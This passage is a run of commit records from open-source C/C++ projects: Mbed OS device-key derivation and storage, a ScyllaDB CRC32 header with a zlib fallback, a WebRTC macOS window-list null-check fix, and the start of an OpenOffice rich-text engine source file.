size_t isize)\n{\n    if (DEVICE_KEY_16BYTE != isize && DEVICE_KEY_32BYTE != isize) {\n        return DEVICEKEY_INVALID_KEY_SIZE;\n    }\n\n    \/\/First we read if key exist. If it is exists, we return DEVICEKEY_ALREADY_EXIST error\n    uint32_t read_key[DEVICE_KEY_32BYTE \/ sizeof(uint32_t)] = {0};\n    size_t read_size = DEVICE_KEY_32BYTE;\n    int ret = read_key_from_kvstore(read_key, read_size);\n    if (DEVICEKEY_SUCCESS == ret) {\n        return DEVICEKEY_ALREADY_EXIST;\n    }\n    if (DEVICEKEY_NOT_FOUND != ret) {\n        return ret;\n    }\n\n    KVMap &kv_map = KVMap::get_instance();\n    KVStore *inner_store = kv_map.get_internal_kv_instance(NULL);\n    if (inner_store == NULL) {\n        return DEVICEKEY_SAVE_FAILED;\n    }\n\n    ret = ((TDBStore *)inner_store)->reserved_data_set(input, isize);\n    if (MBED_ERROR_WRITE_FAILED == ret) {\n        return DEVICEKEY_SAVE_FAILED;\n    }\n\n    if (MBED_SUCCESS != ret) {\n        return DEVICEKEY_KVSTORE_UNPREDICTED_ERROR;\n    }\n\n    return DEVICEKEY_SUCCESS;\n}\n\nint DeviceKey::read_key_from_kvstore(uint32_t *output, size_t &size)\n{\n    if (size > (uint16_t) -1) {\n        return DEVICEKEY_INVALID_PARAM;\n    }\n\n    KVMap &kv_map = KVMap::get_instance();\n    KVStore *inner_store = kv_map.get_internal_kv_instance(NULL);\n    if (inner_store == NULL) {\n        return DEVICEKEY_NOT_FOUND;\n    }\n\n    int kvStatus = ((TDBStore *)inner_store)->reserved_data_get(output, size, &size);\n    if (MBED_ERROR_ITEM_NOT_FOUND == kvStatus) {\n        return DEVICEKEY_NOT_FOUND;\n    }\n\n    if (MBED_ERROR_READ_FAILED == kvStatus || MBED_ERROR_INVALID_SIZE == kvStatus) {\n        return DEVICEKEY_READ_FAILED;\n    }\n\n    if (MBED_SUCCESS != kvStatus) {\n        return DEVICEKEY_KVSTORE_UNPREDICTED_ERROR;\n    }\n\n    return DEVICEKEY_SUCCESS;\n}\n\nint DeviceKey::get_derived_key(uint32_t *ikey_buff, size_t ikey_size, const unsigned char *isalt,\n                               size_t isalt_size, unsigned char *output, uint32_t ikey_type)\n{\n    \/\/KDF in counter mode implementation as described in Section 5.1\n    \/\/of NIST SP 800-108, Recommendation for Key Derivation Using Pseudorandom Functions\n    int ret;\n    size_t counter = 0;\n    char separator = 0x00;\n    mbedtls_cipher_context_t ctx;\n    unsigned char output_len_enc[ 4 ] = {0};\n    unsigned char counter_enc[ 1 ] = {0};\n\n    DEVKEY_WRITE_UINT32_LE(output_len_enc, ikey_type);\n\n    mbedtls_cipher_type_t mbedtls_cipher_type = MBEDTLS_CIPHER_AES_128_ECB;\n    if (DEVICE_KEY_32BYTE == ikey_size) {\n        mbedtls_cipher_type = MBEDTLS_CIPHER_AES_256_ECB;\n    }\n\n    const mbedtls_cipher_info_t *cipher_info = mbedtls_cipher_info_from_type(mbedtls_cipher_type);\n\n    do {\n\n        mbedtls_cipher_init(&ctx);\n        ret = mbedtls_cipher_setup(&ctx, cipher_info);\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_starts(&ctx, (unsigned char *)ikey_buff, ikey_size * 8);\n        if (ret != 0) {\n            goto finish;\n        }\n\n        DEVKEY_WRITE_UINT8_LE(counter_enc, (counter + 1));\n\n        ret = mbedtls_cipher_cmac_update(&ctx, (unsigned char *)counter_enc, sizeof(counter_enc));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_update(&ctx, isalt, isalt_size);\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_update(&ctx, (unsigned char *)&separator, sizeof(char));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_update(&ctx, (unsigned char *)&output_len_enc, sizeof(output_len_enc));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        ret = mbedtls_cipher_cmac_finish(&ctx, output + (DEVICE_KEY_16BYTE * (counter)));\n        if (ret != 0) {\n            goto finish;\n        }\n\n        mbedtls_cipher_free(&ctx);\n\n        counter++;\n\n    } while (DEVICE_KEY_16BYTE * counter < ikey_type);\n\nfinish:\n    if (DEVICEKEY_SUCCESS != ret) {\n        mbedtls_cipher_free(&ctx);\n        return DEVICEKEY_ERR_CMAC_GENERIC_FAILURE;\n    }\n\n    return DEVICEKEY_SUCCESS;\n}\n\nint DeviceKey::generate_key_by_random(uint32_t *output, size_t size)\n{\n    int ret = DEVICEKEY_GENERATE_RANDOM_ERROR;\n\n    if (DEVICE_KEY_16BYTE > size) {\n        return DEVICEKEY_BUFFER_TOO_SMALL;\n    } else if (DEVICE_KEY_16BYTE != size && DEVICE_KEY_32BYTE != size) {\n        return DEVICEKEY_INVALID_PARAM;\n    }\n\n#if defined(DEVICE_TRNG) || defined(MBEDTLS_ENTROPY_NV_SEED)\n    uint32_t test_buff[DEVICE_KEY_32BYTE \/ sizeof(int)];\n    mbedtls_entropy_context *entropy = new mbedtls_entropy_context;\n    mbedtls_entropy_init(entropy);\n    memset(output, 0, size);\n    memset(test_buff, 0, size);\n\n    ret = mbedtls_entropy_func(entropy, (unsigned char *)output, size);\n    if (ret != MBED_SUCCESS || mbedtls_ssl_safer_memcmp(test_buff, (unsigned char *)output, size) == 0) {\n        ret = DEVICEKEY_GENERATE_RANDOM_ERROR;\n    } else {\n        ret = DEVICEKEY_SUCCESS;\n    }\n\n    mbedtls_entropy_free(entropy);\n    delete entropy;\n\n#endif\n\n    return ret;\n}\n\n} \/\/ namespace mbed\n\n#endif\n#endif\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Clean up a little.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <cstdint>\n#include <smmintrin.h>\n\nnamespace utils {\n\nclass crc32 {\n    uint32_t _r = 0;\npublic:\n    \/\/ All process() functions assume input is in\n    \/\/ host byte order (i.e. equivalent to storing\n    \/\/ the value in a buffer and crcing the buffer).\n    void process(int8_t in) {\n        _r = _mm_crc32_u8(_r, in);\n    }\n    void process(uint8_t in) {\n        _r = _mm_crc32_u8(_r, in);\n    }\n    void process(int16_t in) {\n        _r = _mm_crc32_u16(_r, in);\n    }\n    void process(uint16_t in) {\n        _r = _mm_crc32_u16(_r, in);\n    }\n    void process(int32_t in) {\n        _r = _mm_crc32_u32(_r, in);\n    }\n    void process(uint32_t in) {\n        _r = _mm_crc32_u32(_r, in);\n    }\n    void process(int64_t in) {\n        _r = _mm_crc32_u64(_r, in);\n    }\n    void process(uint64_t in) {\n        _r = _mm_crc32_u64(_r, in);\n    }\n    void process(const uint8_t* in, size_t size) {\n        if ((reinterpret_cast<uintptr_t>(in) & 1) && size >= 1) {\n            process(*in);\n            ++in;\n            --size;\n        }\n        if ((reinterpret_cast<uintptr_t>(in) & 3) && size >= 2) {\n            process(*reinterpret_cast<const uint16_t*>(in));\n            in += 2;\n            size -= 2;\n        }\n        if ((reinterpret_cast<uintptr_t>(in) & 7) && size >= 4) {\n            process(*reinterpret_cast<const uint32_t*>(in));\n            in += 4;\n            size -= 4;\n        }\n        \/\/ FIXME: do in three parallel loops\n        while (size >= 8) {\n            process(*reinterpret_cast<const uint64_t*>(in));\n            in += 8;\n            size -= 8;\n        }\n        if (size >= 4) {\n            process(*reinterpret_cast<const uint32_t*>(in));\n            in += 4;\n            size -= 4;\n        }\n        if (size >= 2) {\n            process(*reinterpret_cast<const uint16_t*>(in));\n            in += 2;\n            size -= 2;\n        }\n        if (size >= 1) {\n            process(*in);\n        }\n\n    }\n    uint32_t get() const {\n        return _r;\n    }\n};\n\n}\n<commit_msg>utils\/crc: use zlib for crc32 on non-x86 platforms<commit_after>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <cstdint>\n\n#if defined(__x86_64__) || defined(__i386__)\n#include <smmintrin.h>\n#else\n#include <zlib.h>\n#endif\n\nnamespace utils {\n\nclass crc32 {\n    uint32_t _r = 0;\npublic:\n    \/\/ All process() functions assume input is in\n    \/\/ host byte order (i.e. equivalent to storing\n    \/\/ the value in a buffer and crcing the buffer).\n#if defined(__x86_64__) || defined(__i386__)\n    \/\/ On x86 use the crc32 instruction added in SSE 4.2.\n    void process(int8_t in) {\n        _r = _mm_crc32_u8(_r, in);\n    }\n    void process(uint8_t in) {\n        _r = _mm_crc32_u8(_r, in);\n    }\n    void process(int16_t in) {\n        _r = _mm_crc32_u16(_r, in);\n    }\n    void process(uint16_t in) {\n        _r = _mm_crc32_u16(_r, in);\n    }\n    void process(int32_t in) {\n        _r = _mm_crc32_u32(_r, in);\n    }\n    void process(uint32_t in) {\n        _r = _mm_crc32_u32(_r, in);\n    }\n    void process(int64_t in) {\n        _r = _mm_crc32_u64(_r, in);\n    }\n    void process(uint64_t in) {\n        _r = _mm_crc32_u64(_r, in);\n    }\n    void process(const uint8_t* in, size_t size) {\n        if ((reinterpret_cast<uintptr_t>(in) & 1) && size >= 1) {\n            process(*in);\n            ++in;\n            --size;\n        }\n        if ((reinterpret_cast<uintptr_t>(in) & 3) && size >= 2) {\n            process(*reinterpret_cast<const uint16_t*>(in));\n            in += 2;\n            size -= 2;\n        }\n        if ((reinterpret_cast<uintptr_t>(in) & 7) && size >= 4) {\n            process(*reinterpret_cast<const uint32_t*>(in));\n            in += 4;\n            size -= 4;\n        }\n        \/\/ FIXME: do in three parallel loops\n        while (size >= 8) {\n            process(*reinterpret_cast<const uint64_t*>(in));\n            in += 8;\n            size -= 8;\n        }\n        if (size >= 4) {\n            process(*reinterpret_cast<const uint32_t*>(in));\n            in += 4;\n            size -= 4;\n        }\n        if (size >= 2) {\n            process(*reinterpret_cast<const uint16_t*>(in));\n            in += 2;\n            size -= 2;\n        }\n        if (size >= 1) {\n            process(*in);\n        }\n    }\n#else\n    \/\/ On non-x86 platforms use the zlib implementation of crc32.\n    \/\/ TODO: these should be changed to use platform-specific\n    \/\/ assembly and also the Castagnoli polynomial to match x86.\n    template <class T>\n    void process(T in) {\n        static_assert(std::is_integral<T>::value, \"T must be integral type.\");\n        _r = ::crc32(_r, reinterpret_cast<const uint8_t*>(&in), sizeof(T));\n    }\n    void process(const uint8_t* in, size_t size) {\n        _r = ::crc32(_r, in, size);\n    }\n#endif\n    uint32_t get() const {\n        return _r;\n    }\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/modules\/desktop_capture\/mac\/window_list_utils.h\"\n\n#include <ApplicationServices\/ApplicationServices.h>\n\n#include \"webrtc\/rtc_base\/checks.h\"\n#include \"webrtc\/rtc_base\/macutils.h\"\n\nstatic_assert(\n    static_cast<webrtc::WindowId>(kCGNullWindowID) == webrtc::kNullWindowId,\n    \"kNullWindowId needs to equal to kCGNullWindowID.\");\n\nnamespace webrtc {\n\nbool GetWindowList(rtc::FunctionView<bool(CFDictionaryRef)> on_window,\n                   bool ignore_minimized) {\n  RTC_DCHECK(on_window);\n\n  \/\/ Only get on screen, non-desktop windows.\n  \/\/ According to\n  \/\/ https:\/\/developer.apple.com\/documentation\/coregraphics\/cgwindowlistoption\/1454105-optiononscreenonly ,\n  \/\/ when kCGWindowListOptionOnScreenOnly is used, the order of windows are in\n  \/\/ decreasing z-order.\n  CFArrayRef window_array = CGWindowListCopyWindowInfo(\n      kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,\n      kCGNullWindowID);\n  if (!window_array)\n    return false;\n\n  MacDesktopConfiguration desktop_config;\n  if (ignore_minimized) {\n    desktop_config = MacDesktopConfiguration::GetCurrent(\n        MacDesktopConfiguration::TopLeftOrigin);\n  }\n\n  \/\/ Check windows to make sure they have an id, title, and use window layer\n  \/\/ other than 0.\n  CFIndex count = CFArrayGetCount(window_array);\n  for (CFIndex i = 0; i < count; i++) {\n    CFDictionaryRef window = reinterpret_cast<CFDictionaryRef>(\n        CFArrayGetValueAtIndex(window_array, i));\n    if (!window) {\n      continue;\n    }\n\n    CFStringRef window_title = reinterpret_cast<CFStringRef>(\n        CFDictionaryGetValue(window, kCGWindowName));\n    if (!window_title) {\n      continue;\n    }\n\n    CFNumberRef window_id = reinterpret_cast<CFNumberRef>(\n        CFDictionaryGetValue(window, kCGWindowNumber));\n    if (!window_id) {\n      continue;\n    }\n\n    CFNumberRef window_layer = reinterpret_cast<CFNumberRef>(\n        CFDictionaryGetValue(window, kCGWindowLayer));\n    if (!window_layer) {\n      continue;\n    }\n\n    \/\/ Skip windows with layer=0 (menu, dock).\n    \/\/ TODO(zijiehe): The windows with layer != 0 are skipped, is this a bug in\n    \/\/ code (not likely) or a bug in comments? What's the meaning of window\n    \/\/ layer number in the first place.\n    int layer;\n    if (!CFNumberGetValue(window_layer, kCFNumberIntType, &layer)) {\n      continue;\n    }\n    if (layer != 0) {\n      continue;\n    }\n\n    \/\/ Skip windows that are minimized and not full screen.\n    if (ignore_minimized && IsWindowMinimized(window) &&\n        !IsWindowFullScreen(desktop_config, window)) {\n      continue;\n    }\n\n    if (!on_window(window)) {\n      break;\n    }\n  }\n\n  CFRelease(window_array);\n  return true;\n}\n\nbool GetWindowList(DesktopCapturer::SourceList* windows,\n                   bool ignore_minimized) {\n  return GetWindowList(\n      [windows](CFDictionaryRef window) {\n        WindowId id = GetWindowId(window);\n        std::string title = GetWindowTitle(window);\n        if (id != kNullWindowId && !title.empty()) {\n          windows->push_back(DesktopCapturer::Source{ id, title });\n        }\n        return true;\n      },\n      ignore_minimized);\n}\n\n\/\/ Returns true if the window is occupying a full screen.\nbool IsWindowFullScreen(\n    const MacDesktopConfiguration& desktop_config,\n    CFDictionaryRef window) {\n  bool fullscreen = false;\n  CFDictionaryRef bounds_ref = reinterpret_cast<CFDictionaryRef>(\n      CFDictionaryGetValue(window, kCGWindowBounds));\n\n  CGRect bounds;\n  if (bounds_ref &&\n      CGRectMakeWithDictionaryRepresentation(bounds_ref, &bounds)) {\n    for (MacDisplayConfigurations::const_iterator it =\n             desktop_config.displays.begin();\n         it != desktop_config.displays.end(); it++) {\n      if (it->bounds.equals(DesktopRect::MakeXYWH(bounds.origin.x,\n                                                  bounds.origin.y,\n                                                  bounds.size.width,\n                                                  bounds.size.height))) {\n        fullscreen = true;\n        break;\n      }\n    }\n  }\n\n  return fullscreen;\n}\n\nbool IsWindowMinimized(CFDictionaryRef window) {\n  CFBooleanRef on_screen = reinterpret_cast<CFBooleanRef>(\n      CFDictionaryGetValue(window, kCGWindowIsOnscreen));\n  return !CFBooleanGetValue(on_screen);\n}\n\n\/\/ Returns true if the window is minimized.\nbool IsWindowMinimized(CGWindowID id) {\n  CFArrayRef window_id_array =\n      CFArrayCreate(NULL, reinterpret_cast<const void **>(&id), 1, NULL);\n  CFArrayRef window_array =\n      CGWindowListCreateDescriptionFromArray(window_id_array);\n  bool minimized = false;\n\n  if (window_array && CFArrayGetCount(window_array)) {\n    minimized = IsWindowMinimized(reinterpret_cast<CFDictionaryRef>(\n        CFArrayGetValueAtIndex(window_array, 0)));\n  }\n\n  CFRelease(window_id_array);\n  CFRelease(window_array);\n\n  return minimized;\n}\n\nstd::string GetWindowTitle(CFDictionaryRef window) {\n  CFStringRef title = reinterpret_cast<CFStringRef>(\n      CFDictionaryGetValue(window, kCGWindowName));\n  std::string result;\n  if (title && rtc::ToUtf8(title, &result)) {\n    return result;\n  }\n  return std::string();\n}\n\nWindowId GetWindowId(CFDictionaryRef window) {\n  CFNumberRef window_id = reinterpret_cast<CFNumberRef>(\n      CFDictionaryGetValue(window, kCGWindowNumber));\n  if (!window_id) {\n    return kNullWindowId;\n  }\n\n  WindowId id;\n  if (!CFNumberGetValue(window_id, kCFNumberIntType, &id)) {\n    return kNullWindowId;\n  }\n\n  return id;\n}\n\nDesktopRect GetWindowBounds(CFDictionaryRef window) {\n  CFDictionaryRef window_bounds = reinterpret_cast<CFDictionaryRef>(\n      CFDictionaryGetValue(window, kCGWindowBounds));\n  if (!window_bounds) {\n    return DesktopRect();\n  }\n\n  CGRect gc_window_rect;\n  if (!CGRectMakeWithDictionaryRepresentation(window_bounds, &gc_window_rect)) {\n    return DesktopRect();\n  }\n\n  return DesktopRect::MakeXYWH(gc_window_rect.origin.x,\n                               gc_window_rect.origin.y,\n                               gc_window_rect.size.width,\n                               gc_window_rect.size.height);\n}\n\n}  \/\/ namespace webrtc\n<commit_msg>Check whether on_screen is null before performing CFBooleanGetValue()<commit_after>\/*\n *  Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/modules\/desktop_capture\/mac\/window_list_utils.h\"\n\n#include <ApplicationServices\/ApplicationServices.h>\n\n#include \"webrtc\/rtc_base\/checks.h\"\n#include \"webrtc\/rtc_base\/macutils.h\"\n\nstatic_assert(\n    static_cast<webrtc::WindowId>(kCGNullWindowID) == webrtc::kNullWindowId,\n    \"kNullWindowId needs to equal to kCGNullWindowID.\");\n\nnamespace webrtc {\n\nbool GetWindowList(rtc::FunctionView<bool(CFDictionaryRef)> on_window,\n                   bool ignore_minimized) {\n  RTC_DCHECK(on_window);\n\n  \/\/ Only get on screen, non-desktop windows.\n  \/\/ According to\n  \/\/ https:\/\/developer.apple.com\/documentation\/coregraphics\/cgwindowlistoption\/1454105-optiononscreenonly ,\n  \/\/ when kCGWindowListOptionOnScreenOnly is used, the order of windows are in\n  \/\/ decreasing z-order.\n  CFArrayRef window_array = CGWindowListCopyWindowInfo(\n      kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,\n      kCGNullWindowID);\n  if (!window_array)\n    return false;\n\n  MacDesktopConfiguration desktop_config;\n  if (ignore_minimized) {\n    desktop_config = MacDesktopConfiguration::GetCurrent(\n        MacDesktopConfiguration::TopLeftOrigin);\n  }\n\n  \/\/ Check windows to make sure they have an id, title, and use window layer\n  \/\/ other than 0.\n  CFIndex count = CFArrayGetCount(window_array);\n  for (CFIndex i = 0; i < count; i++) {\n    CFDictionaryRef window = reinterpret_cast<CFDictionaryRef>(\n        CFArrayGetValueAtIndex(window_array, i));\n    if (!window) {\n      continue;\n    }\n\n    CFStringRef window_title = reinterpret_cast<CFStringRef>(\n        CFDictionaryGetValue(window, kCGWindowName));\n    if (!window_title) {\n      continue;\n    }\n\n    CFNumberRef window_id = reinterpret_cast<CFNumberRef>(\n        CFDictionaryGetValue(window, kCGWindowNumber));\n    if (!window_id) {\n      continue;\n    }\n\n    CFNumberRef window_layer = reinterpret_cast<CFNumberRef>(\n        CFDictionaryGetValue(window, kCGWindowLayer));\n    if (!window_layer) {\n      continue;\n    }\n\n    \/\/ Skip windows with layer=0 (menu, dock).\n    \/\/ TODO(zijiehe): The windows with layer != 0 are skipped, is this a bug in\n    \/\/ code (not likely) or a bug in comments? What's the meaning of window\n    \/\/ layer number in the first place.\n    int layer;\n    if (!CFNumberGetValue(window_layer, kCFNumberIntType, &layer)) {\n      continue;\n    }\n    if (layer != 0) {\n      continue;\n    }\n\n    \/\/ Skip windows that are minimized and not full screen.\n    if (ignore_minimized && IsWindowMinimized(window) &&\n        !IsWindowFullScreen(desktop_config, window)) {\n      continue;\n    }\n\n    if (!on_window(window)) {\n      break;\n    }\n  }\n\n  CFRelease(window_array);\n  return true;\n}\n\nbool GetWindowList(DesktopCapturer::SourceList* windows,\n                   bool ignore_minimized) {\n  return GetWindowList(\n      [windows](CFDictionaryRef window) {\n        WindowId id = GetWindowId(window);\n        std::string title = GetWindowTitle(window);\n        if (id != kNullWindowId && !title.empty()) {\n          windows->push_back(DesktopCapturer::Source{ id, title });\n        }\n        return true;\n      },\n      ignore_minimized);\n}\n\n\/\/ Returns true if the window is occupying a full screen.\nbool IsWindowFullScreen(\n    const MacDesktopConfiguration& desktop_config,\n    CFDictionaryRef window) {\n  bool fullscreen = false;\n  CFDictionaryRef bounds_ref = reinterpret_cast<CFDictionaryRef>(\n      CFDictionaryGetValue(window, kCGWindowBounds));\n\n  CGRect bounds;\n  if (bounds_ref &&\n      CGRectMakeWithDictionaryRepresentation(bounds_ref, &bounds)) {\n    for (MacDisplayConfigurations::const_iterator it =\n             desktop_config.displays.begin();\n         it != desktop_config.displays.end(); it++) {\n      if (it->bounds.equals(DesktopRect::MakeXYWH(bounds.origin.x,\n                                                  bounds.origin.y,\n                                                  bounds.size.width,\n                                                  bounds.size.height))) {\n        fullscreen = true;\n        break;\n      }\n    }\n  }\n\n  return fullscreen;\n}\n\nbool IsWindowMinimized(CFDictionaryRef window) {\n  CFBooleanRef on_screen = reinterpret_cast<CFBooleanRef>(\n      CFDictionaryGetValue(window, kCGWindowIsOnscreen));\n  return on_screen != NULL && !CFBooleanGetValue(on_screen);\n}\n\n\/\/ Returns true if the window is minimized.\nbool IsWindowMinimized(CGWindowID id) {\n  CFArrayRef window_id_array =\n      CFArrayCreate(NULL, reinterpret_cast<const void **>(&id), 1, NULL);\n  CFArrayRef window_array =\n      CGWindowListCreateDescriptionFromArray(window_id_array);\n  bool minimized = false;\n\n  if (window_array && CFArrayGetCount(window_array)) {\n    minimized = IsWindowMinimized(reinterpret_cast<CFDictionaryRef>(\n        CFArrayGetValueAtIndex(window_array, 0)));\n  }\n\n  CFRelease(window_id_array);\n  CFRelease(window_array);\n\n  return minimized;\n}\n\nstd::string GetWindowTitle(CFDictionaryRef window) {\n  CFStringRef title = reinterpret_cast<CFStringRef>(\n      CFDictionaryGetValue(window, kCGWindowName));\n  std::string result;\n  if (title && rtc::ToUtf8(title, &result)) {\n    return result;\n  }\n  return std::string();\n}\n\nWindowId GetWindowId(CFDictionaryRef window) {\n  CFNumberRef window_id = reinterpret_cast<CFNumberRef>(\n      CFDictionaryGetValue(window, kCGWindowNumber));\n  if (!window_id) {\n    return kNullWindowId;\n  }\n\n  WindowId id;\n  if (!CFNumberGetValue(window_id, kCFNumberIntType, &id)) {\n    return kNullWindowId;\n  }\n\n  return id;\n}\n\nDesktopRect GetWindowBounds(CFDictionaryRef window) {\n  CFDictionaryRef window_bounds = reinterpret_cast<CFDictionaryRef>(\n      CFDictionaryGetValue(window, kCGWindowBounds));\n  if (!window_bounds) {\n    return DesktopRect();\n  }\n\n  CGRect gc_window_rect;\n  if (!CGRectMakeWithDictionaryRepresentation(window_bounds, &gc_window_rect)) {\n    return DesktopRect();\n  }\n\n  return DesktopRect::MakeXYWH(gc_window_rect.origin.x,\n                               gc_window_rect.origin.y,\n                               gc_window_rect.size.width,\n                               gc_window_rect.size.height);\n}\n\n}  \/\/ namespace webrtc\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: richtextengine.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2007-07-06 09:56:09 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_forms.hxx\"\n\n#ifndef FORMS_SOURCE_RICHTEXT_RICHTEXTENGINE_HXX\n#include \"richtextengine.hxx\"\n#endif\n\n#ifndef _SFXITEMPOOL_HXX\n#include <svtools\/itempool.hxx>\n#endif\n\n#ifndef _EEITEM_HXX\n#include <svx\/eeitem.hxx>\n#endif\n#ifndef _EDITOBJ_HXX\n#include <svx\/editobj.hxx>\n#endif\n#define ITEMID_FONTHEIGHT   EE_CHAR_FONTHEIGHT\n#ifndef _SVX_FHGTITEM_HXX\n#include <svx\/fhgtitem.hxx>\n#endif\n#define ITEMID_FONT         EE_CHAR_FONTHEIGHT\n#ifndef _SVX_FONTITEM_HXX\n#include <svx\/fontitem.hxx>\n#endif\n#define ITEMID_LANGUAGE     EE_CHAR_LANGUAGE\n#ifndef _SVX_LANGITEM_HXX\n#include <svx\/langitem.hxx>\n#endif\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n#ifndef _VCL_MAPUNIT_HXX\n#include <vcl\/mapunit.hxx>\n#endif\n#ifndef _SV_MAPMOD_HXX\n#include <vcl\/mapmod.hxx>\n#endif\n#ifndef _SV_OUTDEV_HXX\n#include <vcl\/outdev.hxx>\n#endif\n\n#ifndef _SVTOOLS_LINGUCFG_HXX_\n#include <svtools\/lingucfg.hxx>\n#endif\n#ifndef _UNDO_HXX\n#include <svtools\/undo.hxx>\n#endif\n\n\n#include <algorithm>\n#include <functional>\n\n\/\/........................................................................\nnamespace frm\n{\n\/\/........................................................................\n\n    \/\/====================================================================\n    \/\/= RichTextEngine\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    RichTextEngine* RichTextEngine::Create()\n    {\n        SfxItemPool* pPool = EditEngine::CreatePool();\n        pPool->FreezeIdRanges();\n\n        RichTextEngine* pReturn = new RichTextEngine( pPool );\n        OutputDevice* pOutputDevice = pReturn->GetRefDevice();\n        MapMode aDeviceMapMode( pOutputDevice->GetMapMode() );\n\n        pReturn->SetStatusEventHdl( LINK( pReturn, RichTextEngine, EditEngineStatusChanged ) );\n\n        pPool->SetDefaultMetric(  (SfxMapUnit)( aDeviceMapMode.GetMapUnit() ) );\n\n        \/\/ defaults\n        Font aFont = Application::GetSettings().GetStyleSettings().GetAppFont();\n        aFont.SetName( String( RTL_CONSTASCII_USTRINGPARAM( \"Times New Roman\" ) ) );\n        pPool->SetPoolDefaultItem( SvxFontItem( aFont.GetFamily(), aFont.GetName(), String(), aFont.GetPitch(), aFont.GetCharSet(), EE_CHAR_FONTINFO ) );\n\n        \/\/ 12 pt font size\n        MapMode aPointMapMode( MAP_POINT );\n        Size a12PointSize( OutputDevice::LogicToLogic( Size( 12, 0 ), aPointMapMode, aDeviceMapMode ) );\n        pPool->SetPoolDefaultItem( SvxFontHeightItem( a12PointSize.Width(), 100, EE_CHAR_FONTHEIGHT ) );\n\n        \/\/ font languages\n        SvtLinguOptions aLinguOpt;\n        pPool->SetPoolDefaultItem( SvxLanguageItem( aLinguOpt.nDefaultLanguage, EE_CHAR_LANGUAGE ) );\n        pPool->SetPoolDefaultItem( SvxLanguageItem( aLinguOpt.nDefaultLanguage_CJK, EE_CHAR_LANGUAGE_CJK ) );\n        pPool->SetPoolDefaultItem( SvxLanguageItem( aLinguOpt.nDefaultLanguage_CTL, EE_CHAR_LANGUAGE_CTL ) );\n\n        return pReturn;\n    }\n\n    \/\/--------------------------------------------------------------------\n    RichTextEngine* RichTextEngine::Clone()\n    {\n        EditTextObject* pMyText = CreateTextObject();\n        OSL_ENSURE( pMyText, \"RichTextEngine::Clone: CreateTextObject returned nonsense!\" );\n\n        RichTextEngine* pClone = Create();\n        pClone->SetText( *pMyText );\n        delete pMyText;\n\n        return pClone;\n    }\n\n    DBG_NAME(RichTextEngine)\n    \/\/--------------------------------------------------------------------\n    RichTextEngine::RichTextEngine( SfxItemPool* _pPool )\n        :EditEngine( _pPool )\n        ,m_pEnginePool( _pPool )\n    {\n        DBG_CTOR(RichTextEngine,NULL);\n    }\n\n    \/\/--------------------------------------------------------------------\n    RichTextEngine::~RichTextEngine( )\n    {\n        \/\/delete m_pEnginePool; \/\/ must be done after the RichTextEngine was deleted\n        DBG_DTOR(RichTextEngine,NULL);\n    }\n\n    